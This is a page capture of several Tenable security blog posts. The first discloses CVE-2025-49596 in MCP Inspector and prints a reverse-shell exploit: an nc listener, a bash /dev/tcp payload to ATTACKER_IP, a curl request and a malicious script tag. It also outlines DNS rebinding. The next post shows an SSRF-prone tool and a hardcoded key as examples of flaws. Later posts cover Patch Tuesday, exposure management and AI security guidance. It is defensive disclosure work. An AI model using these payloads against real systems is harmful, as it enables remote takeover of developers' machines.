Tenable Blog

Tenable Research recently discovered a critical vulnerability impacting Anthropic's MCP Inspector tool, a core element of the MCP ecosystem. In this blog, we provide details on how we discovered the vulnerability in this widely used open-source tool — and what users can do about it.

Tenable Research discovered a critical vulnerability (CVE-2025-49596) in Anthropic's MCP Inspector. This open-source tool, widely used for testing and troubleshooting Model Context Protocol (MCP) servers, is highly popular with over 38,000 weekly downloads on npmjs and more than 4,000 stars on GitHub. Further details are available in the advisory.

A victim's workstation could be fully compromised simply by visiting a malicious website, with no other prerequisites.

This vulnerability has been assigned CVE-2025-49596 with a critical CVSS score of 9.4. Tenable worked closely with Anthropic’s security team according to our coordinated disclosure policy. The vulnerability has been widely publicized, sometimes without crediting the finding back to Tenable Research.

It is recommended to upgrade immediately to version or 0.14.1 or later to fix this vulnerability.

Context

The increasing prevalence of AI technologies across organizations is driving rapid adoption of MCP. It plays a crucial role in enhancing AI agents by providing them with additional context and tools.

Since there’s no official registry for MCP servers, which are developed by vendors or the open-source community, they’re typically published on various MCP marketplaces like MCP Market or MCP.so.

A server, once deployed either locally via STDIO or remotely via HTTP, can be leveraged by a Large Language Model through an MCP client. 

Want more information about MCP? Read the blogs Frequently Asked Questions About Model Context Protocol (MCP) and Integrating with AI for Agentic Applications and AI Security: Web Flaws Resurface In Rush to Use MCP Servers.

MCP Inspector for developers

Testing and troubleshooting MCP servers can be challenging, despite the availability of numerous development frameworks, including Anthropic software development kits (SDKs) for various languages (listed on the MCP GitHub page). This complexity arises from the need to understand the underlying protocol.

MCP Inspector is an open-source tool provided by Anthropic to abstract this complexity and help developers interact with their servers. This tool relies on two key components:

• MCP Inspector Client: A web user interface (UI) providing an interactive interface for testing and interacting with MCP servers.
• MCP Proxy: A component acting as a protocol bridge between the MCP Inspector Client and the MCP servers.

MCP Inspector Web UI (Source: MCP Inspector GitHub repository)

In MCP Inspector versions below 0.14.1, the official instructions to run MCP inspector are straightforward:

npx @modelcontextprotocol/inspector Need to install the following packages: @modelcontextprotocol/inspector@ Ok to proceed? (y) y Starting MCP inspector... ⚙️ Proxy server listening on port 6277 🔍 MCP Inspector is up and running at http://127.0.0.1:6274

Now, both the MCP Inspector Client and the MCP Proxy are listening, respectively, on TCP ports 6274 and 6277.

Since MCP Inspector is a tool integrated in multiple open source projects, this vulnerability exists in all software relying on versions prior to 0.14.1

Out-of the-box Remote Code Execution

Once started, we decided to connect on the Web UI available on http://127.0.0.1:6274

The Web UI is available out-of-the box without any authentication:

MCP Inspector Web UI (Source: Tenable)

By trying to connect to a local dummy MCP server, we can observe the HTTP traffic and notice the following HTTP connection from the Web UI to the MCP proxy server:

MCP Inspector Web UI (Source: Tenable)

The HTTP request is made to the local MCP proxy server without any kind of authentication, and the proxy server is then spawning new processes based on the command sent by the client.

We decided to have a quick try with a basic sleep command and a delay of 10 seconds and noticed that it was actually executed, proving the vulnerability:

Basic vulnerability exploitation (Source: Tenable)

Once an attacker can achieve command injection, it is then possible to escalate to code execution on the affected server.

Exploitation

With the vulnerability now identified, let's explore the exploitation scenarios that could lead to a complete takeover of the host running the MCP Proxy component.

Direct unauthenticated Remote Code Execution

The default installation of MCP Inspector in vulnerable versions implies that the MCP proxy component is bound on all network interfaces.

const PORT = process.env.PORT || 6277; const server = app.listen(PORT); server.on("listening", () => { console.log(`⚙️ Proxy server listening on port ${PORT}`); });

If an attacker is on the same network as the machine hosting the proxy instance, or if the MCP Inspector proxy is started on a publicly accessible server, a remote and unauthenticated attacker can achieve direct command injection and gain remote code execution with the proxy’s user privileges on the target system.

Using the payload described in our Tenable Research Advisory, we can quickly get a reverse shell on the target system:

# Start a listener on TCP/7777 nc -l -p 7777 # Build a payload which will establish a simple reverse shell to our local IP on the previous port PAYLOAD_BASH=“bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/7777 0>&1’” # URI encode the payload ENCODED_PAYLOAD_BASH=$(echo -n “$PAYLOAD_BASH” | jq -sRr @uri) # Request the MCP Inspector Proxy with the previous payload to achieve Remote Code Execution curl “http://MCP_INSPECTOR_PROXY:6277/sse?transportType=stdio&command=bash&args=-c%20%22$ENCODED_PAYLOAD_BASH%22”

The developer or the server machine hosting the MCP Inspector proxy is then fully compromised.

CORS Attack to Remote Code Execution (RCE)

In affected versions, the lack of network restrictions leaves MCP Inspector users vulnerable to cross-site attacks initiated by remote malicious websites.

An attacker can set up a website hosting a malicious JavaScript, which will perform cross-site requests:

MCP Inspector Proxy CORS attack (Source: Tenable)

Taking back our previous reverse shell payload, let’s demonstrate how this can be easily exploited.

1. The attacker sets up a malicious website hosting this JavaScript content:

<script> fetch("http://127.0.0.1:6277/sse?transportType=stdio&command=bash&args=-c%20%22bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F7777%200%3E%261%27%22&env=", {}) </script>

2. The victim browses the malicious website and loads the malicious JavaScript content, which will perform a cross-origin request to the MCP inspector proxy hosted on his machine (or potentially any other machine).

3. MCP Inspector uses the Express CORS middleware allowing any origin by default (Access-Control-Allow-Origin: *). This means the victim’s web browser will perform a CORS preflight request on the MCP Inspector, which will pass the policy:

app.use(cors());

4. The actual CORS request will then be sent by the victim’s browser to the MCP Inspector proxy, leading to the payload being executed and the reverse shell established from the victim’s workstation to the attacker’s server.

This demonstrates how critical this vulnerability is: A victim's workstation could be fully compromised simply by visiting a malicious website, with no other prerequisites.

DNS rebinding

The MCP proxy exposes by default a Server-Sent Events (SSE) endpoint. As no network restriction is enforced, especially in the control of the Host header, a malicious website could host a JavaScript code which would:

1. Initiate a SSE connection with a malicious domain (let’s say sse.evil.tld)
2. The attacker would then update the DNS record for sse.evil.tld to target 0.0.0.0
3. The loaded JavaScript will reestablish the SSE session with the local server, bypassing the Same-Origin Policy as both the JavaScript and the SSE session would be tied to the same origin, http://sse.evil.tld for example.

Note that the exploitation success of DNS rebinding depends on both the web browser and the operating system of the victim.

To learn more about DNS rebinding, have a look at NCC Group’s Singularity tool.

Remediation

MCP Inspector’s users are required to upgrade to version 0.14.1 or later as soon as possible. Software that uses vulnerable versions of the MCP Inspector package should also be updated as soon as possible to address this vulnerability.

Starting with this version, Anthropic introduced additional security measures to safeguard against the described attacks. By default:

• Authentication is now enforced and requires the usage of a session token except if developers choose to explicitly disable it.
• Services are bound to localhost only, preventing direct exploitation through network access.
• Trusted origins only include localhost ones with the client port.

When starting, MCP Inspector now shows:

Starting MCP inspector... ⚙️ Proxy server listening on 127.0.0.1:6277 🔑 Session token: 86399ac989f1d418c530f08811cee3fa6115d1f5e8ac39d631d72d11d573a729 Use this token to authenticate requests or set DANGEROUSLY_OMIT_AUTH=true to disable auth 🔗 Open inspector with token pre-filled: http://localhost:6274/?MCP_PROXY_AUTH_TOKEN=86399ac989f1d418c530f08811cee3fa6115d1f5e8ac39d631d72d11d573a729 🔍 MCP Inspector is up and running at http://127.0.0.1:6274 🚀 Conclusion

Tenable Research recognized early the significant role AI and MCP technologies would play in organizations — and the new security challenges they would introduce. To address these, it's crucial to enforce security fundamentals in server development and tool usage. Adhering to basic security practices can significantly mitigate risks from vulnerabilities in novel systems and prevent devastating attacks.

We thank Anthropic’s security team for their efforts in mitigating this issue and their clear communication during our disclosure process.

Learn more

• Anthropic Security Advisory
• Anthropic GitHub Fix Commit
• Tenable Research Advisory
• NCC Group Singularity DNS rebinding framework

In the rush to implement AI tools and services, developers are rapidly embracing the Model Context Protocol (MCP). In the process, classic vulnerabilities are resurfacing and new ones are being introduced. In this blog, we outline key areas of concern and how Tenable Web App Scanning can help.

The Model Context Protocol (MCP) is an open standard introduced by Anthropic in late 2024 and quickly adopted by OpenAI, Google and Microsoft. It allows AI assistants to connect with external data sources and tools and improve their capabilities.

The MCP ecosystem has exploded in recent months as developers rush to meet business demand and integrate this powerful new standard into their applications and AI-based workflows to easily provide efficient cross-product integrations. In the process, fundamental development mistakes are being repeated.

Meanwhile, the rapid adoption of AI across organizations has security teams struggling to understand the threat implications as they learn how to secure AI for their business teams.

Want to learn more about MCP-related risks? Read the blog How Tenable Research Discovered a Critical Remote Code Execution Vulnerability on Anthropic MCP Inspector

As new vulnerability classes arise from the usage of LLMs and other AI-based technologies, MCP server developers generally seem to focus on the LLM integration more than the underlying API development, bringing back classic web vulnerabilities that can be devastating.

This blog delves into key security concerns for MCP servers and how Tenable Web App Scanning can help security teams detect such vulnerabilities.

Introduction to MCP

MCP was released by Anthropic at the end of November 2024, providing developers with a full development kit for both clients and servers to build secure connections between AI-powered tools and various data sources available in an organization or hosted by a third-party provider.

Transport modes

As described in a previous blog post, the protocol is built on a few key components. In this blog, we focus on the MCP server component.

MCP servers can be exposed to clients with two main transport modes:

• Standard Input/Output (STDIO): this deployment allows local-only communication between the client and the server.
• HTTP: as opposed to STDIO, the HTTP transport is used for remote server deployments. Two service types are available currently in the server software developer kit (SDK):
  • Server-Sent Events (SSE): Described in the HTML5 specification, and more specifically in the EventSource API, this protocol allows servers to push data to their clients once an initial connection has been established. First server implementations may only rely on SSE, but this transport has been deprecated since protocol version 2024-11-05.
  • Streamable HTTP: Using a classic client-to-server HTTP communication which can also embed SSE streams depending on the server implementation.

Messages

Once the transport mode is defined, the MCP will rely on three types of JSON-RPC-based messages between the MCP client and the server: requests, responses and notifications.

We won’t cover all the message formats as they are all defined in the protocol specification, but a standard flow is defined as follows:

MCP lifecycle (Source: https://modelcontextprotocol.io/specification/2025-06-18/basic/lifecycle)

The protocol is straightforward and relies on:

1. An initialization phase during which both the client and the server will exchange protocol compatibility and capabilities
2. An operation phase during which the client will interact with the server to request resources offered by the server
3. A closing phase where the client will disconnect from the server

For example, if a client wants to know the list of tools exposed by the server and call one of them, it will use this message after initialization:

{ "jsonrpc": "2.0", "method": "tools/list", "params": {}, "id": 1 }

The server will respond with a list of the tools:

{ "jsonrpc":"2.0", "id":1, "result": { "tools": [ { "name":"fetch_url", "description":"Fetch content from an URL”, "inputSchema": { "properties":{ "url":{ "title":"url", "Type":"string" } }, "required":["url"], "Type":"object" } }

Then it is possible to call a specific tool like an LLM would do through a MCP client:

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "TOOL_NAME", "arguments": { "TOOL_ARG_1": "ARG_1_VALUE" } }, "id": 1 }

Here’s another option to list the resources exposed by an MCP server:

{ "jsonrpc": "2.0", "method": "resources/list", "params": {}, "id": 1 }

The server will then return all the resources available:

{ "jsonrpc":"2.0", "id":1, "result":{ "resources": [ { "uri":"config://secret", "name":"config://secret", "mimeType":"text/plain" } ] } The AI adoption race meets MCP server web flaws

The MCP promise is to enable organizations to quickly expand AI-based workflow capabilities by interconnecting AI assistants and agents with a large range of tools and resources. We previously discussed the HTTP transport mode and the ability to communicate with MCP servers like any other API.

In recent months, we have seen an exponential increase in the availability of MCP servers, as shown by the rise of MCP server marketplaces like https://mcpservers.org/ or https://mcpmarket.com/, and the popularity of some projects such as https://github.com/punkpeye/awesome-mcp-servers (which had received more than 56,000 GitHub stars at the time this blog post was written).

Unfortunately, the rapid delivery of new and interesting features and use cases for a variety of tools and software can come at a high cost when security basics are overlooked. Below, we highlight three key areas of cyber risk.

1. Authentication and authorization

A March 26 MCP update introduced support for OAuth 2.1 to enforce resource access control at the transport level. MCP clients can now use OAuth flows to obtain access tokens and consume resources exposed by the MCP server. Note that the authorization server used in this OAuth workflow still has to authenticate users as the MCP server does not natively handle this.

When MCP servers are expected to be exposed for an organization's internal needs only, enforcing both authentication and authorization is required and developers should focus on restricting access to the tools by implementing these mechanisms and ensuring they are robust.

A common mistake could be to assume that the server is “only” expected to be available on an internal infrastructure, presumably preventing it from being visible from a remote and unauthenticated user. However, HTTP-based MCP servers can suffer the same issues as other web / API applications, especially in a cross-origin context:

DNS Rebinding Attack Flow (Source: Tenable)

The above diagram illustrates how an attacker can exploit the lack of control in this situation:

1. A legitimate user is visiting a malicious website
2. This website loads malicious JavaScript in the legitimate user’s browser.
3. This code uses the JavaScript EventSource API to establish an SSE session on http://mcp.evil.com (for example)
4. The attacker performs a DNS rebinding attack by updating the mcp.evil.com DNS record to target a local server (here 10.0.0.10)
5. The user’s browser will reconnect the SSE session still on mcp.evil.com but resolving to its new IP address
6. Once the SSE session is re-established, the Same-Origin Policy (SOP) is bypassed as the browser sees the JavaScript loaded from http://mcp.evil.com and the response from the target MCP server coming from the same origin, http://mcp.evil.com.

Another example of the impact of lack of authentication is Tenable’s recent vulnerability discovery on the MCP Inspector tool. Although this tool is not a MCP server, it is part of the MCP ecosystem and shows how such tools, provided as open-source by a major LLM provider, can put organizations and their users at risk.

2. Tool vulnerabilities

A tool within the MCP context is simply a function that can be called through the JSON-RPC messages with a specific list of arguments (of a specific type). From numerous implementations observed, it looks like MCP server developers tend to forget that a “low level” API call can target tools and exploit any vulnerability if existing.

Let’s take a very simple example with this tool:

@mcp.tool() def fetch_url(url: str) -> str: """Fetch content from a URL.""" try: response = requests.get(url, verify=False) response.raise_for_status() return response.text except requests.RequestException as e: return f"Error fetching URL: {e}"

By sending the following JSON-RPC message, we can fetch a URL and get the response:

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "fetch_url", "arguments": { "url": "https://www.tenable.com" } }, "id": 1 }

A common cognitive bias seems to be that the LLM, through the MCP client, will use the tools without going off the beaten track, completely masking the need to sanitize and validate the inputs. In this case, a remote MCP server will be vulnerable to “full-read” Server-Side Request Forgery attacks.

This demonstrates a single vulnerability case, but this can be easily extrapolated to almost all the web vulnerabilities (remote code execution, SQL injection, etc.). Independent research shows that numerous exposed services are vulnerable to various attacks, such as code execution, path traversal, etc.

3. Sensitive information exposure

To avoid complex flows and infrastructures, developers sometimes choose to hardcode or make sensitive information available in various ways. This includes but is not limited to secrets such as credentials or business sensitive information.

As with any function, tools can sometimes either directly embed sensitive information, or call third-party services which can expose it. For example:

• MCP server implementations that would handle machine-to-machine authentication with a third party and won’t handle errors properly. By fuzzing the tool, it can be possible to trigger some errors or exceptions that would be raised to the caller and potentially expose secrets (authentication headers for example)
• Third-party services which will make a wrong assumption that the calling MCP server is trustable and provide sensitive information by default. For example, a third-party API not properly enforcing authentication or authorization could expose PIIs or business confidential information.

Among the context primitives available in the MCP servers, the resources are designed to expose data that can be read by clients and used as context for LLM operations. A tempting shortcut could be to feed the LLM through its MCP client with data that could be reused, for example, to authenticate on another service.

Given the different options available to expose these resources, like static files or databases, this should be a point of concern when developing MCP servers and secrets management best practices should still be applied in this context.

The following code snippet declares a resource exposing a random API key:

@mcp.resource("data://api_key") def get_api_key() -> str: """Internal Service API Key""" return "API_KEY=internalAPIkey1234" Empowering Tenable Web App Scanning for MCP servers

Tenable Web App Scanning is designed to detect complex vulnerabilities across modern web applications and APIs. As AI-driven architectures rapidly evolve, we are expanding our scanning capabilities to cover emerging protocols that power the next generation of AI-native infrastructure.

MCP servers can rely on the HTTP protocol, which inherently expands the attack surface. Protecting MCP servers requires adhering to well-established security paradigms and in-depth vulnerability detection to stay ahead of modern and sophisticated threats.

New MCP-specific plugins recently added to Tenable Web App Scanning can help organizations identify such servers in their infrastructure and discover any associated vulnerabilities. MCP servers are built very quickly by many vendors, but they can also be deployed as quickly and easily by an organization’s AI developers, becoming part of the “shadow IT” blindspot that security teams have to contend with.

When MCP assets are detected, Tenable Web App Scanning plugins are now able to understand and analyze the API-related vulnerabilities in the target MCP server implementation. This includes a broad range of vulnerabilities, such as code execution and SQL injections, which will then be tested on all detected tools of the target MCP server.

Tenable Web App Scanning - MCP Server Detection Plugins (Source: Tenable)   Tenable Web App Scanning - MCP Server Vulnerabilities Plugins (Source: Tenable) Conclusion

The massive adoption of MCP demonstrates the level of interest and focus organizations are placing on AI technologies as they look to provide tools to enhance workflow and improve productivity.

While MCP warrants an important role in AI software ecosystems, bringing organizations new opportunities in their data exploitation or business workflows and intelligence, it should be implemented carefully. Developers need to follow security best practices and safeguard against traditional threats as well as the specific vulnerabilities emerging from AI technologies.

Continuously monitoring and assessing MCP server security and updating as needed is a mandatory requirement to avoid putting organizations at risk in the rush to adopt AI.

Learn more

• Tenable Web App Scanning
• How Tenable Research Discovered a Critical Remote Code Execution Vulnerability in Anthropic MCP Inspector
• MCP Prompt Injection: Not Just For Evil
• Frequently Asked Questions About Model Context Protocol (MCP) and Integrating with AI For Agentic Applications
• DNS Rebinding Framework by NCCGroup 

1. 12Critical
2. 115Important
3. 1Moderate
4. 0Low

Microsoft addresses 128 CVEs, including one zero-day vulnerability that was publicly disclosed.

Microsoft addresses 128 CVEs in its July 2025 Patch Tuesday release, with 12 rated critical, and 115 rated important and one rated as moderate. Our counts omitted nine vulnerabilities reported by AMD and MITRE.

This month’s update includes patches for:

• Azure Monitor Agent
• Capability Access Management Service (camsvc)
• HID class driver
• Kernel Streaming WOW Thunk Service Driver
• Microsoft Brokering File System
• Microsoft Graphics Component
• Microsoft Input Method Editor (IME)
• Microsoft Intune
• Microsoft MPEG-2 Video Extension
• Microsoft Office
• Microsoft Office Excel
• Microsoft Office PowerPoint
• Microsoft Office SharePoint
• Microsoft Office Word
• Microsoft PC Manager
• Microsoft Teams
• Microsoft Windows QoS scheduler
• Microsoft Windows Search Component
• Office Developer Platform
• Remote Desktop Client
• Role: Windows Hyper-V
• SQL Server
• Service Fabric
• Storage Port Driver
• Universal Print Management Service
• Virtual Hard Disk (VHDX)
• Visual Studio
• Visual Studio Code Python extension
• Windows Ancillary Function Driver for WinSock
• Windows AppX Deployment Service
• Windows BitLocker
• Windows Connected Devices Platform Service
• Windows Cred SSProvider Protocol
• Windows Cryptographic Services
• Windows Event Tracing
• Windows Fast FAT Driver
• Windows GDI
• Windows Imaging Component
• Windows KDC Proxy Service (KPSSVC)
• Windows Kerberos
• Windows Kernel
• Windows MBT Transport driver
• Windows Media
• Windows NTFS
• Windows Netlogon
• Windows Notification
• Windows Performance Recorder
• Windows Print Spooler Components
• Windows Remote Desktop Licensing Service
• Windows Routing and Remote Access Service (RRAS)
• Windows SMB
• Windows SPNEGO Extended Negotiation
• Windows SSDP Service
• Windows Secure Kernel Mode
• Windows Shell
• Windows SmartScreen
• Windows StateRepository API
• Windows Storage VSP Driver
• Windows TCP/IP
• Windows TDX.sys
• Windows Universal Plug and Play (UPnP) Device Host
• Windows Update Service
• Windows User-Mode Driver Framework Host
• Windows Virtualization-Based Security (VBS) Enclave
• Windows Visual Basic Scripting
• Windows Win32K GRFX
• Windows Win32K ICOMP
• Workspace Broker

Elevation of Privilege (EoP) vulnerabilities accounted for 41.4% of the vulnerabilities patched this month, followed by Remote Code Execution (RCE) vulnerabilities at 31.3%.

ImportantCVE-2025-49719 | Microsoft SQL Server Information Disclosure Vulnerability

CVE-2025-49719 is a zero-day information disclosure vulnerability in Microsoft SQL Server. It was assigned a CVSSv3 score of 7.5 and is rated important. An unauthenticated attacker could exploit this vulnerability to obtain uninitialized memory. It is assessed as “Exploitation Less Likely” according to Microsoft’s Exploitability Index.

According to Microsoft, this vulnerability was publicly disclosed prior to patches being available. Users of SQL Server are advised to update to the latest version, which includes driver fixes. If users are running their own applications or software from another vendor that uses SQL Server, it is advised to update to Microsoft OLE DB Driver for SQL Server version 18 or 19. However, it is important to ensure compatibility before updating. For more information on general distribution release (GDR) or cumulative update (CU) versions, please refer to the advisory.

CriticalCVE-2025-47981 | SPNEGO Extended Negotiation (NEGOEX) Security Mechanism Remote Code Execution Vulnerability

CVE-2025-47981 is a RCE in the SPNEGO Extended Negotiation (NEGOEX) Security Mechanism. It was assigned a CVSSv3 score of 9.8 and is rated critical. It is assessed as "Exploitation More Likely." An unauthenticated, remote attacker could exploit this flaw by sending a specially crafted message to a vulnerable server. Successful exploitation could grant an attacker RCE privileges. Microsoft states that this vulnerability only affects Windows machines 10 version 1607 and above because of a specific group policy object (GPO) enabled by default in these versions, Network security: Allow PKU2U authentication requests to this computer to use online identities.

This is only the third vulnerability in SPNEGO NEGOEX since 2022, but it is the second in 2025, as CVE-2025-21295 was addressed in the January 2025 Patch Tuesday release. Both CVE-2025-47981 and CVE-2025-21295 were disclosed by security researcher Yuki Chen.

CriticalCVE-2025-49701 and CVE-2025-49704 | Microsoft SharePoint Remote Code Execution Vulnerability

CVE-2025-49701 and CVE-2025-49704 are RCE vulnerabilities in Microsoft SharePoint. They were both assigned a CVSSv3 score of 8.8 and CVE-2025-49704 was rated as critical while CVE-2025-49701 was rated as important. To exploit these flaws, an attacker would need to be authenticated with Site Owner privileges at minimum. Once authenticated, an attacker could write arbitrary code to a vulnerable SharePoint Server to gain RCE.

So far in 2025, there have been 16 vulnerabilities disclosed in Microsoft SharePoint, including CVE-2025-49706, a spoofing flaw that was disclosed alongside CVE-2025-49701 and CVE-2025-49704. There were 20 SharePoint vulnerabilities in 2024, 25 in 2023, and 20 in 2022.

CriticalCVE-2025-49735 | Windows KDC Proxy Service (KPSSVC) Remote Code Execution Vulnerability

CVE-2025-49735 is an RCE vulnerability affecting Windows Kerberos Key Distribution Center (KDC) proxy service, an authentication mechanism used for KDC servers over HTTPS. It was assigned a CVSSv3 score of 8.1 and rated critical. An unauthenticated attacker could exploit this vulnerability utilizing a crafted application to exploit a cryptographic protocol vulnerability in order to execute arbitrary code.

According to the advisory, this only impacts Windows Servers that have been “configured as a [MS-KKDCP]: Kerberos Key Distribution Center (KDC) Proxy Protocol server.” While the advisory does mention that exploitation requires the attacker to win a race condition, this vulnerability was still assessed as “Exploitation More Likely.”

This is the second month in a row that Microsoft has patched a KDC Proxy Service (KPSSVC) RCE vulnerability, as it was preceded by CVE-2025-33071 in the June Patch Tuesday release. Both flaws are credited to security researcher “ʌ!ɔ⊥ojv” with Kunlun Lab.

ImportantCVE-2025-49724 | Windows Connected Devices Platform Service Remote Code Execution Vulnerability

CVE-2025-49724 is a RCE vulnerability in the Windows Connected Devices Platform Service. It was assigned a CVSSv3 score of 8.8 and is rated important. An unauthenticated, remote attacker could exploit this vulnerability by sending specially crafted data packets to a system with the “Nearby Sharing” feature enabled. Microsoft’s advisory notes that the “Nearby Sharing” feature is not enabled by default.

This is the third vulnerability in the Windows Connected Devices Platform Service since 2022. Earlier this year, Microsoft patched CVE-2025-21207, a denial of service flaw in the service. In 2022, Microsoft patched CVE-2022-30212, an information disclosure flaw as part of its July 2022 Patch Tuesday release.

Tenable Solutions

A list of all the plugins released for Microsoft’s July 2025 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's July 2025 Security Updates
• Tenable plugins for Microsoft July 2025 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In this post, Tenable security engineer Aaron Roy shares how he led the integration of attack surface management with exposure management. You can read the entire Exposure Management Academy series here.

Knowing your attack surface is fundamental to cybersecurity today. But many questions come to mind:

• What exactly is the attack surface?
• Why does it matter?
• How do you even go about figuring it all out?

I’ll try to answer those questions in this post. In my short time as an information security engineer at Tenable, our shift to exposure management has really brought home just how critical cyber asset attack surface management (CAASM) is.

Understanding the attack surface

I think of the attack surface as the perimeter of a house. Every door, window and maybe even a loose brick is a potential entry point. The larger the house, the more points of entry.

Now, although it’s not as tangible as your house — in fact, it’s amorphous — the same goes for your digital environment. Every application, server, cloud instance and endpoint connected to the internet is part of your attack surface. If you don't know all those entry points, how can you possibly secure them?

Moving beyond vulnerability scans

You might be thinking, "We've got vulnerability scans. Isn't that enough?"

Well, sure, they’re important and we’d be lost without them. But traditional vulnerability management is just a piece of the puzzle. Exposure management gives you a broader perspective. In addition to identifying known vulnerabilities, exposure management gives you an understanding of the entire landscape of potential risk. This includes external attack surface management and the assets you might not even know you have.

How our ASM integration worked

Let me give you an example from my recent work on integrating Tenable Attack Surface Management with the Tenable One Exposure Management Platform.

Tenable Attack Surface Management helps you discover all the external domains and subdomains related to your organization. It's like finding all the hidden entrances to your digital house. One really good feature is that you can integrate this data with your vulnerability management and web application scanning tools.

Suddenly, you’ll see the big picture.

By integrating Tenable Attack Surface Management with Tenable Vulnerability Management, from which we can now launch scans, we gained enhanced visibility into external assets and web applications. The attack surface management data is then automatically integrated into the Tenable One platform, which gives us the additional ability to manipulate it in context with other Tenable One findings.

Although it was a great help for discovering previously unknown external assets and initiating scans, a more significant aspect of the Tenable Attack Surface Management integration was its synergy with Tenable Web App Scanning. Because Tenable Web App Scanning is dedicated to identifying vulnerabilities within web applications, often customer-facing external sites, the Tenable Attack Surface Management integration proved highly valuable. It enabled the review of discovered domains and subdomains from Tenable Attack Surface Management directly within Tenable Web App Scanning, adding these to existing scans and schedules without leaving the application. 

Integrating Tenable Attack Surface Management with Tenable Web Application Scanning lets us automatically identify and add newly discovered domains to our scanning schedules, which is a real game-changer.

This streamlined the process of identifying new web applications within our domains, automatically reporting them and eliminating the need to manually ask application owners for updates. This integration made reviews more efficient and enabled the addition of new scans and the elimination of irrelevant domains, such as 404 pages, that Tenable Attack Surface Management found.

Instead of relying on application owners to tell you about new sites (which, in reality, doesn't always happen), you can proactively discover them. And you might even find some old ones you’ve forgotten about.

My move from engineer to detective

One thing I've learned is that data from various sources can sometimes disagree. That conflict often requires a bit of detective work.

A tool might report something as XYZ, but is it really? You have to dig deeper and double-check the data. Think of it like checking your calculations during a test. Some might blindly trust a calculator without a second look. But it’s better to check, right?

The shift to a broader exposure management approach, facilitated by these integrations, involved a significant increase in data sources. Our team moved from managing data from 10-15 applications to potentially double or triple that number. This necessitated a rigorous process of detective work and data refinement to ensure accuracy and actionability. 

Moving from just a few data sources to many can seem daunting. But it's not about complicating things. It's about getting a clearer picture.

The core challenge was verifying that the ingested data from various sources was correct and consistent. My team had to meticulously work through processes previously owned by other resources or teams, constantly iterating and refining them to optimize their effectiveness.

Moving from just a few data sources to many can seem daunting. But it's not about complicating things. It's about getting a clearer picture. Sure, there’s work involved in checking and refining data from diverse sources, especially if that data was previously owned by another team with unique processes.

But in the long run, having all this information at your fingertips clarifies things. You’ll see the full scope of potential exposures.

The future of exposure management

Looking ahead, the goal of the exposure management team is to further streamline this process by ingesting all these disparate data sources and making them actionable in the simplest way possible for different teams, including the software development lifecycle. A key element of this ongoing shift involves integrating tools like those from Tenable’s recent acquisition Vulcan for security orchestration and ticketing. 

The ultimate aim is to automate most of our currently manual processes, enabling frequent reporting of accurate and actionable information to stakeholders. This comprehensive approach ensures that we report all findings and vulnerabilities and that we monitor and adhere to SLAs for all products.

Takeaways

Having a clear plan of attack, pun intended, is vital. You can’t just wing it. 

In our team, we’re working to inventory all the information from these new sources, understand how they worked before we took over and figure out how to make it even better. This involves refining processes, adding security orchestration and ensuring all our data is accurate and actionable. Plus, we can use Tenable One to analyze the data in context. 

Ultimately, it's about knowing our attack surface, scanning it thoroughly, and making sure we can report on everything. That's how you manage exposure effectively. It’s not just about ticking boxes. It's about truly understanding what’s out there and taking the necessary steps to protect it.

Exposure management is an ongoing process. It's about evolving, adapting and always striving for better visibility. For me, that's what makes it so interesting.

Learn more

• Check out the Tenable exposure management resource center to discover the value of exposure management and explore resources to help you stand up a continuous threat exposure management program.

With businesses going gaga for artificial intelligence, securing AI systems has become a key priority and a top challenge for cybersecurity teams, as they scramble to master this emerging and evolving field. In this special edition of the Cybersecurity Snapshot, we highlight some of the best practices and insights that experts have provided so far in 2025 for AI security. 

In case you missed it, here’s fresh guidance for defending AI systems against cyber attacks.

1 - Best practices for locking down AI data

If your organization is looking for recommendations on how to protect the sensitive data powering your AI systems, check out new best practices released in May by cyber agencies from Australia, New Zealand, the U.K. and the U.S.

“This guidance is intended primarily for organizations using AI systems in their operations, with a focus on protecting sensitive, proprietary or mission-critical data,” reads the document titled “AI Data Security: Best Practices for Securing Data Used to Train & Operate AI Systems.”

“The principles outlined in this information sheet provide a robust foundation for securing AI data and ensuring the reliability and accuracy of AI-driven outcomes,” it adds.
 

By drafting this guidance, the authoring agencies seek to accomplish three goals:

• Sounding the alarm about data security risks involved in developing, testing and deploying AI systems
• Arming cyber defenders with best practices for securing data throughout the AI lifecycle
• Championing the adoption of robust data-security techniques and smart risk-mitigation strategies

Here’s a sneak peek at some of the key best practices found in the comprehensive 22-page document:

• Source smart: Use trusted, reliable data sources for training your AI models, and trace data origins with provenance-tracking.
• Guard integrity: Employ checksums and cryptographic hashes to protect your AI data during storage and transmission.
• Block tampering: Implement digital signatures to prevent unauthorized meddling with your AI data.

For more information about AI data security, check out these Tenable resources:

• “Harden Your Cloud Security Posture by Protecting Your Cloud Data and AI Resources” (blog)
• “Tenable Cloud AI Risk Report 2025” (report)
• “Who's Afraid of AI Risk in Cloud Environments?” (blog)
• “Tenable Cloud AI Risk Report 2025: Helping You Build More Secure AI Models in the Cloud” (on-demand webinar)
• Know Your Exposure: Is Your Cloud Data Secure in the Age of AI? (on-demand webinar)

2 - NIST categorizes attacks against AI systems, offers mitigations

The U.S. National Institute of Standards and Technology (NIST) is also stepping up to help organizations get a handle on the cyber risks threatening AI systems. In March, NIST updated its “Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations (NIST AI 100-2)” report, first published last year.

The massive 127-page publication includes:

• A detailed taxonomy of adversarial machine-learning (AML) attacks, such as evasion, poisoning, and privacy attacks against both predictive AI systems and generative AI systems; and of AML attacks targeting learning methods
• Potential mitigations against AML attacks, along with a realistic look at their limitations
• Standardized AML terminology, along with an index and a glossary

“Despite the significant progress of AI and machine learning in different application domains, these technologies remain vulnerable to attacks,” reads a NIST statement. “The consequences of attacks become more dire when systems depend on high-stakes domains and are subjected to adversarial attacks.”

For example, to counter supply chain attacks against generative AI systems, NIST recommendations include:

